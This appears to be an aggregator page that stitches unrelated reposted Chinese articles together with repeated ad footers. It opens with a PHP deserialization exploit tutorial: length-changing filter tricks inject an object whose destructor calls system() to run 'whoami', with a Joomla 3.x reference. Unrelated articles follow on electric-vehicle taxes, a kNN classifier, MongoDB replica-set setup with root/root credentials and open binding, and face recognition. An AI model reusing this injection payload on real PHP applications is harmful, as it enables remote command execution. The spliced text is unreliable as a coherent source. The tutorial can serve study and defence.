1.漏洞產生原因：

序列化的字符串在經過過濾函數不正確的處理而導致對象注入，目前看到都是因為過濾函數放在了serialize函數之後，要是放在序列化之前應該就不會產生這個問題

?php
function filter($string){
  $a = str_replace('x','zz',$string);
   return $a;
}

$username = "tr1ple";
$password = "aaaaax";
$user = array($username, $password);

echo(serialize($user));
echo "\n";

$r = filter(serialize($user));

echo($r);
echo "\n";

var_dump(unserialize($r));
$a='a:2:{i:0;s:6:"tr1ple";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';
var_dump(unserialize($a));

php特性：

1.PHP 在反序列化時，底層代碼是以 ; 作為字段的分隔，以 } 作為結尾(字符串除外)，並且是根據長度判斷內容的
2.對類中不存在的屬性也會進行反序列化

以上代碼就明顯存在一個問題，即從序列化后的字符串中明顯可以看到經過filter函數以後s:6對應的字符串明顯變長了

並且如果對於a:2:{i:0;s:6:”tr1ple”;i:1;s:5:”aaaaa”;}i:1;s:5:”aaaaa”; 這種字符串而言，也能夠正常反序列化，說明php在反序列化的時候只要求一個反序列化字符串塊合法即可，當然得是第一個字符串塊

以以上代碼為例，如果能夠利用filter函數這種由一個字符變為兩個字符的特性來注入想要反序列化后得到的屬性，使其可以逃逸出更多可用的字符串，那麼我們就能反序列化得到我們想要的屬性

比如此時我們想要讓反序列化后第二個字符串為123456，此時我們的payload如果和之前的username長度為a，則filter處理以後可能username就會變成a，此時我們的payload變成了新的注入的屬性，此時反序列化后就會得到我們想要的結果，比如a:2:{i:0;s:6:”tr1ple”;i:1;s:6:”123456″;}是我們想要達到的效果，此時我們想要注入的payload明顯為：

";i:1;s:6:"123456";}

 

可以得到其長度為20

此時我們已經知道過濾的規則為x->yy，即注入一個x可以逃逸出一個字符的空位，那麼我們只需要注入20個x即可變成40個y，即可逃逸出20個空位，從而將我們的payload變為反序列化后得到的屬性值

$username = 'tr1plexxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}'; //其中紅色就是我們想要注入的屬性值 
$password="aaaaa";
$user = array($username, $password);
echo(serialize($user));
echo "\n";

$r = filter(serialize($user));

echo($r);
echo "\n";
var_dump(unserialize($r));

 可以看到此時注入屬性成功，反序列化后得到的屬性即為123456

2.實例分析

joomla3.0.0-3.4.6 對象注入導致的反序列化,以下為參考別人的簡易化核心漏洞代碼

<?php
class evil{
    public $cmd;

    public function __construct($cmd){
        $this->cmd = $cmd;
    }

    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}

function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}

$username = "tr1ple";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

在這裏如果想要通過注入對象來實現反序列化則必須在外部對象內進行注入存在的屬性，不能在其外部，否則php將不會進行我們注入惡意對象的反序列化

例如此時因為反序列化讀取的時候將會將六位字符\0\0\0替換成三位字符chr(0)*chr(0),因此字符串前面的s肯定是固定的，那麼s對應的字符串變少以後將會吞掉其他屬性的字符，那麼如果我們精心算好吞掉的字符長度，並且能夠控制被吞掉屬性的內容，那麼就能夠注入對象，從而反序列化其他類

比如如上所示，此時我們要注入的對象為evil，此時username和password的值我們可控，那麼我們可以在username中注入\0，來吞掉password的值，比如

<?php
$a='\0\0\0';
echo strlen($a);
$b=str_replace('\0\0\0', chr(0).'*'.chr(0), $a);
echo strlen($b);

 所以此時首先確定我們要吞掉的字符的長度

O:4:”User”:2:{s:8:”username”;s:6:”tr1ple”;s:8:”password”;s:4:”1234″;}

正常情況下我們要吞掉 “;s:8:”password”;s:4:” 為22位

但是因為注入的對象payload也在password字段，並且長度肯定是>=10的，因此s肯定是兩位數，因此這裏為22+1=23位字符

因為是6->3，因此每次添加一組\0\0\0能多吞掉3個字符，因此需要肯定都是3的倍數

因此我們假如這裏構造username為\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 

 

 則經過read函數處理后長度將變為24

 即此時能夠多吞掉24個字符，為了不讓其吞掉payload，我們可以填充1位字符A，即令password的值為A+payload即可

<?php
class evil{
    public $cmd;

    public function __construct($cmd){
        $this->cmd = $cmd;
    }

    public function __destruct(){
        system($this->cmd);
    }
}

class User
{
    public $username;
    public $password;

    public function __construct($username, $password){
        $this->username = $username;
        $this->password = $password;
    }

}

function write($data){
    $data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
    file_put_contents("dbs.txt", $data);
}

function read(){
    $data = file_get_contents("dbs.txt");
    $r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
    return $r;
}

if(file_exists("dbs.txt")){
    unlink("dbs.txt");  
}

$username = "\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$password = "A";
$payload = '";s:8:"password";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}'; $shellcode=$password.$payload; write(serialize(new User($username, $password))); var_dump(unserialize(read()));

 執行結果如上圖所示，將成功反序列化password屬性所對應的值，其值即為我們注入的對象，整個過程也容易理解，就是吞掉後面的屬性來注入屬性，那麼達到攻擊有以下要求：

1.相鄰兩個屬性的值是我們可以控制的

2.前一個屬性的s長度可以發生變化，變長變短都可以，變短的話可以吞掉後面相鄰屬性的值，然後在相鄰屬性中注入新的對象，如果邊長則可以直接在該屬性中注入對象來達到反序列化

 比如XNUCA2018 hardphp就考察了一個這個相關的trick

 

 這裏就出現了用前面的data在反序列化時向後吞一位字符，從而可以導致吞掉後面的普通用戶的username字段，而在username字段可以放上我們想要偽造的username，從而達到偽造session的目的

 參考：

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※台北網頁設計公司這麼多，該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

※網頁設計公司推薦更多不同的設計風格，搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

電動車爽領補貼、減免稅率的好日子快要結束？美國不少基礎建設早該翻修，各州為了尋找經費焦頭爛額，紛紛把腦筋動到電動車頭上。今(2017)年美國至少已有五州通過對電動車徵稅的法案，當中甚至包括對環保議題最為熱衷的加州。

CNBC 3日報導(見此)，美國包括加州在內的不少州，已在今年通過對電動車加稅，一年徵收100-200美元不等。加州州長布朗(Jerry Brown)在今年春季通過法案時表示，安全和順暢的道路，不但能使加州成為更佳的居住地，也會提振州內經濟活動，增加數千個工作機會。

加州的決定，顯示市場對電動車的心態已有轉變。美國不少州原本都對環保汽車相當友善，提出減稅補貼等獎勵措施，鼓勵駕駛人換車。如今各州財政緊繃，道路又坑坑巴巴、亟待修整，電動車便成了眾矢之的。自2013年以來，美國24州、華盛頓哥倫比亞特區都已決定調高電動車的燃料稅(gas tax)，其中加州把燃料稅調高12美分，以支應524億美元道路維修暨壅塞紓解方案的半數費用。

環保人士擔憂，這些費用可能會壓抑電動車的銷售量。不僅如此，購買電動車所享有的7,500美元聯邦減稅優惠，也會在電動車賣出20萬輛後遭到解除。根據汽車銷售暨資訊網站Edmunds.com估計，電動車對整體汽車市場的佔有率目前僅有0.6%，銷售量成長率則從2013年的227%，驟降至2016年的5%。

Barronˋs Next 5月9日報導，Edmunds當時就悲觀預測(見此)，電動車聯邦減稅優惠終結將摧毀美國電動車車市。當局規定，車商的前20萬名客戶，可以獲得補助，如今特斯拉(Tesla)已售出將近10萬輛電動車，估計明年優惠就會結束。

特斯拉平價車款「Model 3」定價3.5萬美元，扣掉7,500美元補貼之後，買家等於只要付2.75萬美元，差距極為明顯。特斯拉想打入大眾車市，必須對上2萬美元的汽油車和油電混合車，少了優惠之後，兩者價差更為懸殊。

以美國喬治亞州為例，該州取消購買電動車的5,000美元稅務優惠之後，買氣急凍。有稅務優惠時，喬治亞州佔全美電動車銷售的17%；取消之後，銷售比重驟降至2%。Edmunds據此推論，補助結束後，電動車市將崩盤。Edmunds報告指出，高檔電動車較不受稅務優惠影響，但是一般買家會在意補貼。補助終結後，電動車廠必須大砍售價，才能維持買氣。

（本文內容由授權使用。圖片出處：public domain CC BY 0）

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※台北網頁設計公司這麼多，該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

※網頁設計公司推薦更多不同的設計風格，搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

K-近鄰算法

一、算法概述

（1）採用測量不同特徵值之間的距離方法進行分類

• 優點： 精度高、對異常值不敏感、無數據輸入假定。
• 缺點： 計算複雜度高、空間複雜度高。

（2）KNN模型的三個要素

kNN算法模型實際上就是對特徵空間的的劃分。模型有三個基本要素：距離度量、K值的選擇和分類決策規則的決定。

• 距離度量

  距離定義為：
  \[L_p(x_i,x_j)=\left( \sum^n_{l=1} |x_i^{(l)} – x_j^{(l)}|^p \right) ^{\frac{1}{p}}\]
  一般使用歐式距離：p = 2的個情況
  \[L_p(x_i,x_j)=\left( \sum^n_{l=1} |x_i^{(l)} – x_j^{(l)}|^2 \right) ^{\frac{1}{2}}\]

• K值的選擇

  一般根據經驗選擇，需要多次選擇對比才可以選擇一個比較合適的K值。

  如果K值太小，會導致模型太複雜，容易產生過擬合現象，並且對噪聲點非常敏感。

  如果K值太大，模型太過簡單，忽略的大部分有用信息，也是不可取的。

• 分類決策規則

  一般採用多數表決規則，通俗點說就是在這K個類別中，哪種類別最後就判別為哪種類型

二、實施kNN算法

2.1 偽代碼

• 計算法已經類別數據集中的點與當前點之間的距離
• 按照距離遞增次序排序
• 選取與但前點距離最小的k個點
• 確定前k個點所在類別的出現頻率
• 返回前k個點出現頻率最高的類別作為當前點的預測分類

2.2 實際代碼

def classify0(inX, dataSet, labels, k):
    dataSetSize = dataSet.shape[0]
    diffMat = tile(inX, (dataSetSize,1)) - dataSet
    sqDiffMat = diffMat**2
    sqDistances = sqDiffMat.sum(axis=1)
    distances = sqDistances**0.5
    sortedDistIndicies = distances.argsort()     
    classCount={}          
    for i in range(k):
        voteIlabel = labels[sortedDistIndicies[i]]
        classCount[voteIlabel] = classCount.get(voteIlabel,0) + 1
    sortedClassCount = sorted(classCount.items(), key=operator.itemgetter(1), reverse=True)
    return sortedClassCount[0][0]

三、實際案例：使用kNN算法改進約會網站的配對效果

我的朋友阿J一直使用在線約會軟件尋找約會對象，他曾經交往過三種類型的人：

• 不喜歡的人
• 感覺一般的人
• 非常喜歡的人

步驟：

• 收集數據
• 準備數據：也就是讀取數據的過程
• 分析數據：使用Matplotlib畫出二維散點圖
• 訓練算法
• 測試算法
• 使用算法

3.1 準備數據

樣本數據共有1000個，3個特徵值，共有4列數據，最後一列表示標籤分類（0：不喜歡的人；1：感覺一般的人；2：非常喜歡的人）

特徵

• 每年獲得的飛行常客里程數
• 玩視頻遊戲所好的時間百分比
• 每周消費的冰淇淋公斤數

部分數據如下：

40920   8.326976    0.953952    3
14488   7.153469    1.673904    2
26052   1.441871    0.805124    1
75136   13.147394   0.428964    1
38344   1.669788    0.134296    1
72993   10.141740   1.032955    1
35948   6.830792    1.213192    3
42666   13.276369   0.543880    3
67497   8.631577    0.749278    1
35483   12.273169   1.508053    3

讀取數據（讀取txt文件）

def file2matrix(filename):
    fr = open(filename)
    numberOfLines = len(fr.readlines())         #get the number of lines in the file
    returnMat = zeros((numberOfLines,3))        #prepare matrix to return
    classLabelVector = []                       #prepare labels return   
    fr = open(filename)
    index = 0
    for line in fr.readlines():
        line = line.strip()
        listFromLine = line.split('\t')
        returnMat[index,:] = listFromLine[0:3]
        classLabelVector.append(int(listFromLine[-1]))
        index += 1
    return returnMat,classLabelVector

3.2 分析數據：使用Matplotlib創建散點圖

初步分析

import matplotlib
import matplotlib.pyplot as plt

plt.rcParams['font.sans-serif'] = ['Microsoft YaHei']

fig = plt.figure()
ax = fig.add_subplot(111)
ax.scatter(datingDataMat[:,1], datingDataMat[:,2])
ax.set_xlabel("玩視頻遊戲所耗時間百分比")
ax.set_ylabel("每周消費的冰淇淋公斤數")
plt.show()

因為有三種類型的分類，這樣看的不直觀，我們添加以下顏色

fig = plt.figure()
ax = fig.add_subplot(111)
ax.scatter(datingDataMat[:,1], datingDataMat[:,2])
ax.scatter(datingDataMat[:,1], datingDataMat[:,2], 15.0*array(datingLabels), 15.0*array(datingLabels))
ax.set_xlabel("玩視頻遊戲所耗時間百分比")
ax.set_ylabel("每周消費的冰淇淋公斤數")
plt.show()

通過都多次的嘗試后發現，玩遊戲時間和冰淇淋這個兩個特徵關係比較明顯

具體的步驟：

• 分別將標籤為1,2,3的三種類型的數據分開
• 使用matplotlib繪製，並使用不同的顏色加以區分

datingDataType1 = array([[x[0][0],x[0][1],x[0][2]] for x in zip(datingDataMat,datingLabels) if x[1]==1])
datingDataType2 = array([[x[0][0],x[0][1],x[0][2]] for x in zip(datingDataMat,datingLabels) if x[1]==2])
datingDataType3 = array([[x[0][0],x[0][1],x[0][2]] for x in zip(datingDataMat,datingLabels) if x[1]==3])
                   

fig, axs = plt.subplots(2, 2, figsize = (15,10))
axs[0,0].scatter(datingDataType1[:,0], datingDataType1[:,1], s = 20, c = 'red')
axs[0,1].scatter(datingDataType2[:,0], datingDataType2[:,1], s = 30, c = 'green')
axs[1,0].scatter(datingDataType3[:,0], datingDataType3[:,1], s = 40, c = 'blue')
type1 = axs[1,1].scatter(datingDataType1[:,0], datingDataType1[:,1], s = 20, c = 'red')
type2 = axs[1,1].scatter(datingDataType2[:,0], datingDataType2[:,1], s = 30, c = 'green')
type3 = axs[1,1].scatter(datingDataType3[:,0], datingDataType3[:,1], s = 40, c = 'blue')
axs[1,1].legend([type1, type2, type3], ["Did Not Like", "Liked in Small Doses", "Liked in Large Doses"], loc=2)
axs[1,1].set_xlabel("玩視頻遊戲所耗時間百分比")
axs[1,1].set_ylabel("每周消費的冰淇淋公斤數")

plt.show()

3.3 準備數據：數據歸一化

通過上面的圖形繪製，發現三個特徵值的範圍不一樣，在使用KNN進行計算距離的時候，數值大的特徵值就會對結果產生更大的影響。

數據歸一化：就是將幾組不同範圍的數據，轉換到同一個範圍內。

公式： newValue = (oldValue – min)/(max – min)

def autoNorm(dataSet):
    minVals = dataSet.min(0) # array([[1,20,3], [4,5,60], [7,8,9]])   min(0) = [1, 5, 3]
    maxVals = dataSet.max(0)
    ranges = maxVals - minVals
    normData = zeros(shape(dataSet))
    m = dataSet.shape[0]
    normData = (dataSet - tile(minVals, (m,1)))/tile(ranges,(m,1))
    return normData

3.4 測試算法

我們將原始樣本保留20%作為測試集，剩餘80%作為訓練集

def datingClassTest():
    hoRatio = 0.20  
    datingDataMat,datingLabels = file2matrix('datingTestSet2.txt')       #load data setfrom file
    normMat = autoNorm(datingDataMat)
    m = normMat.shape[0]
    numTestVecs = int(m*hoRatio)
    errorCount = 0.0
    for i in range(numTestVecs):
        classifierResult = classify0(normMat[i,:],normMat[numTestVecs:,:],datingLabels[numTestVecs:],3)
        if (classifierResult != datingLabels[i]): 
            errorCount += 1.0
    print ("the total error rate is: %f" % (errorCount/float(numTestVecs)))
    print (errorCount)

運行結果

the total error rate is: 0.080000
16.0

四、源代碼

from numpy import *
import operator
from os import listdir

import matplotlib
import matplotlib.pyplot as plt
    
## KNN function
def classify0(inX, dataSet, labels, k):
    dataSetSize = dataSet.shape[0]
    diffMat = tile(inX, (dataSetSize,1)) - dataSet
    sqDiffMat = diffMat**2
    sqDistances = sqDiffMat.sum(axis=1)
    distances = sqDistances**0.5
    sortedDistIndicies = distances.argsort()     
    classCount={}          
    for i in range(k):
        voteIlabel = labels[sortedDistIndicies[i]]
        classCount[voteIlabel] = classCount.get(voteIlabel,0) + 1
    sortedClassCount = sorted(classCount.items(), key=operator.itemgetter(1), reverse=True)
    return sortedClassCount[0][0]

# read txt data
def file2matrix(filename):
    fr = open(filename)
    numberOfLines = len(fr.readlines())         #get the number of lines in the file
    returnMat = zeros((numberOfLines,3))        #prepare matrix to return
    classLabelVector = []                       #prepare labels return   
    fr = open(filename)
    index = 0
    for line in fr.readlines():
        line = line.strip()
        listFromLine = line.split('\t')
        returnMat[index,:] = listFromLine[0:3]
        classLabelVector.append(int(listFromLine[-1]))
        index += 1
    return returnMat,classLabelVector


def autoNorm(dataSet):
    minVals = dataSet.min(0) # array([[1,20,3], [4,5,60], [7,8,9]])   min(0) = [1, 5, 3]
    maxVals = dataSet.max(0)
    ranges = maxVals - minVals
    normData = zeros(shape(dataSet))
    m = dataSet.shape[0]
    normData = (dataSet - tile(minVals, (m,1)))/tile(ranges,(m,1))
    return normData
    
    
    
    
def drawScatter1(datingDataMat, datingLabels):
    plt.rcParams['font.sans-serif'] = ['Microsoft YaHei']

    fig = plt.figure()
    ax = fig.add_subplot(111)
    ax.scatter(datingDataMat[:,1], datingDataMat[:,2])
    ax.set_xlabel("玩視頻遊戲所耗時間百分比")
    ax.set_ylabel("每周消費的冰淇淋公斤數")
    plt.show()
    
def drawScatter2(datingDataMat, datingLabels):
    fig = plt.figure()
    ax = fig.add_subplot(111)
    ax.scatter(datingDataMat[:,1], datingDataMat[:,2])
    ax.scatter(datingDataMat[:,1], datingDataMat[:,2], 15.0*array(datingLabels), 15.0*array(datingLabels))
    ax.set_xlabel("玩視頻遊戲所耗時間百分比")
    ax.set_ylabel("每周消費的冰淇淋公斤數")
    plt.show()
    
    
def drawScatter3(datingDataMat, datingLabels):
    datingDataType1 = array([[x[0][0],x[0][1],x[0][2]] for x in zip(datingDataMat,datingLabels) if x[1]==1])
    datingDataType2 = array([[x[0][0],x[0][1],x[0][2]] for x in zip(datingDataMat,datingLabels) if x[1]==2])
    datingDataType3 = array([[x[0][0],x[0][1],x[0][2]] for x in zip(datingDataMat,datingLabels) if x[1]==3])

    fig, axs = plt.subplots(2, 2, figsize = (15,10))
    axs[0,0].scatter(datingDataType1[:,0], datingDataType1[:,1], s = 20, c = 'red')
    axs[0,1].scatter(datingDataType2[:,0], datingDataType2[:,1], s = 30, c = 'green')
    axs[1,0].scatter(datingDataType3[:,0], datingDataType3[:,1], s = 40, c = 'blue')
    type1 = axs[1,1].scatter(datingDataType1[:,0], datingDataType1[:,1], s = 20, c = 'red')
    type2 = axs[1,1].scatter(datingDataType2[:,0], datingDataType2[:,1], s = 30, c = 'green')
    type3 = axs[1,1].scatter(datingDataType3[:,0], datingDataType3[:,1], s = 40, c = 'blue')
    axs[1,1].legend([type1, type2, type3], ["Did Not Like", "Liked in Small Doses", "Liked in Large Doses"], loc=2)
    axs[1,1].set_xlabel("玩視頻遊戲所耗時間百分比")
    axs[1,1].set_ylabel("每周消費的冰淇淋公斤數")

    plt.show()
    
    
    
def datingClassTest():
    hoRatio = 0.20  
    datingDataMat,datingLabels = file2matrix('datingTestSet2.txt')       #load data setfrom file
    normMat = autoNorm(datingDataMat)
    m = normMat.shape[0]
    numTestVecs = int(m*hoRatio)
    errorCount = 0.0
    for i in range(numTestVecs):
        classifierResult = classify0(normMat[i,:],normMat[numTestVecs:,:],datingLabels[numTestVecs:],3)
        if (classifierResult != datingLabels[i]): 
            errorCount += 1.0
    print ("the total error rate is: %f" % (errorCount/float(numTestVecs)))
    print (errorCount)
    
    
datingDataMat, datingLabels = file2matrix("datingTestSet2.txt")

drawScatter1(datingDataMat, datingLabels)
drawScatter2(datingDataMat, datingLabels)
drawScatter3(datingDataMat, datingLabels)
 
datingClassTest()

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※台北網頁設計公司這麼多，該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

※網頁設計公司推薦更多不同的設計風格，搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

MongoDB副本集搭建

我搭建的是一個主節點，兩個副節點

1. 構建目錄結構如下圖所示

2. rs0是副本集名稱，每一份文件都是一個端口服務，以27018為主節點。

 

每一份的目錄結構如下，conf存放的是配置文件信息，data27018是存放數據庫數據信息，keyfile是存放key文件的。用於各個節點之間的身份驗證。log存放數據庫的日誌信息，用來排查問題。

 

　　3.conf文件

Conf是放配置文件

# mongod.conf

# for documentation of all options, see:

#   http://docs.mongodb.org/manual/reference/configuration-options/

# Where and how to store data.

storage:

  dbPath: D:\MongoDB\rs0\27018\data27018

  journal:

    enabled: true

#  engine:

#  mmapv1:

#  wiredTiger:

# where to write logging data.

systemLog:

  destination: file

  logAppend: true

  path:  D:\MongoDB\rs0\27018\log27018\mongo.log

# network interfaces

net:

  port: 27018

  bindIp: 0.0.0.0

#processManagement:

security:

  authorization: enabled

  keyFile: D:\MongoDB\rs0\27018\keyfile\replicaSet1.key

#operationProfiling:

replication:

  oplogSizeMB: 2048

  replSetName: rs0

#sharding:

  #clusterRole: shardsvr

## Enterprise-Only Options:

#auditLog:

#snmp:

4.Keyfile下有個.key的文件為了複製集的用戶驗證。（keyfile文件是需要base編碼且差不多660個字符。權限）

可用Linux系統生成，或者找度娘。每一個端口服務下的key必須是同一個。

5.修改每一個實例的conf文件里的端口號及數據存放地址，日誌等。

6.運行win+r 選擇管理員啟動cmd

Windows註冊服務

Windows註冊服務
mongod.exe --config "D:\MongoDB\rs0\27018\conf\mongo.conf" --serviceName "MongoDB27018" --serviceDisplayName "MongoDB27018" –install

mongod.exe --config "D:\MongoDB\rs0\27019\conf\mongo.conf" --serviceName "MongoDB27019" --serviceDisplayName "MongoDB27019" –install

mongod.exe --config "D:\MongoDB\rs0\27020\conf\mongo.conf" --serviceName "MongoDB27020" --serviceDisplayName "MongoDB27020" --install

安裝成服務后可以到服務中查看。

 7.註冊完成后，將所有服務啟動

8.重新打開cmd  連接到其中的一個mongodb實例命令為：   mongo –host ip地址 –port 27018

9.再連接其他兩個實例

10.進入27018節點進行初始化配置

輸入命令

其中的localhost 應是本機的IP地址。(此處坑，如果是服務器上一定要設置為IP地址，否則會重頭再來)

rscongfig={"_id":"rs0",members:[{_id:0,host:"localhost:27018"},{_id:1,host:"localhost:27019"},{_id:2,host:"localhost:27020"}]}

 

 

 

 

初始化該配置

rs.initiate(rscongfig)

回車如下圖，“ok”:1，無錯誤信息。為正確

 

 

 

看下當前節點是否為主節點

 

rs.status()查看當前副本集狀態

 

 

 

health：1   //1表明狀態是正常，0表明異常
state:1     // 1表明是primary，2表明是slave，即做備份的機器

到此副本集就搭建成功了。接下來是開啟身份驗證

11.創建用戶名

連接到27018，運行

use admin

定位到admin數據庫，在這裏創建用戶信息

db.createUser(
  {
    user: "root",
    pwd: "root",
    roles: [ { role: "root", db: "admin" } ]
  }
)  

12.找到主庫的配置文件 conf 開啟身份驗證,同時從庫也要開，配置好位置。

 

 

 

 

conf 配置好后，將服務重新啟動，然後客戶端重新連接后 如果查看等報錯的話就會提示需要權限，

然後轉到use admin

db.auth(“admin”,”admin”)輸入用戶名密碼

 返回1就是 成功。

然後登陸從節點進行登陸看一下是否需要提示。
如果都成功，可以寫入數據看一下複製集中是否有數據。

到此副本集身份驗證開啟說完了，下面說一下Springboot連接帶安全認證的複製集

application-dev.properties
spring.data.mongodb.uri=mongodb://admin:password@127.0.0.1:27018,127.0.0.1:27019,127.0.0.1:27020/ecis?authSource=admin&authMechanism=SCRAM-SHA-1&replicaSet=rs0& connectTimeoutMS=30000

//解釋
admin：password是用戶名密碼
@IP地址端口號
authSource=admin 用戶名存在的數據庫
authMechanism 不造啥意思
replicaSet 複製集名稱
connectTimeoutMS=30000連接時間

下面是navicat連接複製集方式

 

 添加主機名，端口號，點擊發現，可以查詢當前複製集中的端口服務。

 

終於寫完了，第一次寫，寫的不好，請見諒。

 

 

 

 

 

 

 

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※台北網頁設計公司這麼多，該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

※網頁設計公司推薦更多不同的設計風格，搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

1人臉識別應用場景（驗證）

我們先來看看人臉識別的幾個應用。第一個是蘋果的FACE ID，自從蘋果推出FaceID后，業界對人臉識別的應用好像信心大增，各種人臉識別的應用從此開始“野蠻生長”。

事實上，人臉識別技術在很多場景的應用確實可以提升認證效率，同時提升用戶體驗。前兩年，很多機場安檢都開始用上了人臉驗證；今年4月，很多一、二線城市的火車站也開通了“刷臉進站”的功能；北京的一些酒店開始使用人臉識別技術來做身份驗證。

 

2 人臉識別應用場景（識別）

我們再來看看幾個場景。

 

第一個是刷臉的自動售貨機。當我第一次看到這個機器的時候就有個疑問：”現在人臉識別算法已經做到萬無一失了嗎，認錯人，扣錯錢怎麼辦？”，後來才發現，其實關鍵不在於算法，產品設計才是最重要的。用過這個售貨機的人可能知道，第一次使用的時候，要求輸入手機號的后四位，這個看似簡單的產品設計，可以讓自動售貨機的誤識別率降低到億分之一，這樣底概率的條件下，誤識別帶來的損失完全可以忽略。同時這款自動售貨機還會提醒你，你的消費行為會綁定“芝麻信用”，想想有幾個人會為了一瓶“可樂”去影響自己的徵信記錄呢？

第二個是刷臉買咖啡，進入咖啡店后，在你選好喝什麼咖啡前，系統已經識別出站在點單台前的用戶是誰，並做好點單準備；

第三個是在人臉門禁系統。小夥伴們再已不用擔心忘記帶工卡了。人臉門禁對識別速度和準確度的要求是相對較高的，設備掛在門的側面牆也會影響體驗，增加產品設計和開發的難度。

 

3 “人臉驗證”還是“人臉識別”？

其實，前面兩頁的場景是有些區別的，不知道大家看出來了沒有。

第一個的場景，用戶實際提供了兩個信息，一是用戶的證件信息，比如身份證號碼，或APP賬號；另一個信息是用戶的現場照片；這類場景的目標實際上是：讓人臉識別系統驗證現場照片是否是證件所宣稱的那個人。我們把這類場景叫着“人臉驗證”。

第二個的場景，用戶實際只提供的現場照片，需要人臉識別系統判斷照片上的人是誰。我們把這類場景叫着“人臉識別”。

“人臉驗證”拿現場人臉跟用戶所宣稱的人臉做1比1的比較，而“人臉識別”是拿現場人臉跟後台註冊人臉庫中的所有人臉比較，是1比N的搜索。可以看出，兩種場景的技術原理一致，但是難度不同,第二頁場景的難度普遍比第一頁高得多。

 

4 人臉識別原理

計算機是怎麼識別人臉的呢？如果我們大家是人臉識別系統的設計者，我們應用怎樣來設計這個系統？

“把人臉區域從圖片中摳出來，然後拿摳出來的人臉跟事先註冊的人臉進行比較”，沒錯，就是這樣，說起來簡單，做又是另外一回事了，這裏又有兩個新的問題：

一是，“怎樣判斷圖片中是有沒有人臉？”，“怎樣知道人臉在圖片中的具體位置呢”，這是人臉檢測要解決的問題，人臉檢測告訴我們圖像中是否有人臉以及人臉的具體位置坐標。

二是，“我們怎樣比較兩個人臉是不是同一個人呢？”，一個像素一個像素比較嗎？光照，表情不一致，人臉偏轉都將導致該方法不可行。”人是怎樣判斷兩種照片中的人臉是不是同一個人的呢？”，我們是不是通過比較兩種照片上的人，是不是高鼻樑、大眼睛、瓜子臉這樣的面部特徵來做判斷的呢？ 

我們來看一下計算機人臉識別的流程，首先是獲取輸入圖像，然後檢測圖像中是否有人臉，人臉的具體位置，然後判斷圖像的質量，比如圖像是否模糊，光照度是否足夠，然後檢測人臉偏轉的角度，旋轉人臉到一個正臉位置，再然後提取人臉特徵，比對人臉特徵，最後輸出識別結果。其中圖像質量檢測和人臉對齊這兩步是可選的步驟，根據具體應用場景來決定。

 

5 人臉檢測-經典方法

我們來看看經典的人臉檢測方法。

OpenCV和Dlib是兩個常用的算法庫。

OpenCV 中使用Haar Cascade來做人臉檢測，其實Haar Cascade可以檢測任何對象，比如人臉和臉上眼睛的位置。

DLIB中是使用方向梯度直方圖（Histogram of Oriented Gradient, HOG），即通過計算圖像局部區域的梯度方向直方圖來提取特徵，這種方法的本質在於梯度的統計信息，而梯度主要存在於邊緣的地方。

OpenCV和DLIB各自也有他們自己的基於深度學習的人臉檢測方法，使用起來非常簡單。從這幾種方法都可以做到CPU實時或GPU實時；經典的檢測方法對正臉的檢測效果比較好，深度學習的方法適應性更強，可以檢測各種角度的人臉。

 

6 MTCNN人臉檢測

2016年提出來的MTCNN算法是目前公認比較好的人臉檢測算法是（Multi-task Cascaded Convolutional Networks），可以同時實現face detection和alignment，也就是人臉檢測和對齊。

這裏的對齊指的是檢測人臉眼睛、鼻子、嘴巴輪廓關鍵點LandMark。

MTCNN算法主要包含三個子網絡：P-Net （Proposal Network）、 R-Net(Refine Network)、O-Net(Output Network)，這3個網絡按照由粗到細的方式處理輸入照片，每個網絡有3條支路用來分別做人臉分類、人臉框的回歸和人臉關鍵點定位。

左上角，最開始對在多個尺度上對圖像做了resize，構成了圖像金字塔，然後這些不同尺度的圖像作為P、P、O網絡的輸入進行訓練，目的是為了可以檢測不同尺度的人臉。

P-Net主要用來生成候選人臉框。 R-Net主要用來去除大量的非人臉框。O-Net和R-Net有點像，在R-NET基礎上增加了landmark位置的回歸，最終輸出包含一個或多個人臉框的位置信息和關鍵點信息。

 

7 人臉特徵提取-經典方法

接下來，我們來看一下人臉特徵提取。經典的人臉特徵提取方法有EigenFace和FisherFace兩種。

EigenFace的思想是把人臉從像素空間變換到另一個空間，在另一個空間中做相似性的計算。EigenFace的空間變換方法是主成分分析PCA。這個方法90年代開始應用於人臉識別，因為主成分有人臉的形狀，所以也稱為“特徵臉”。

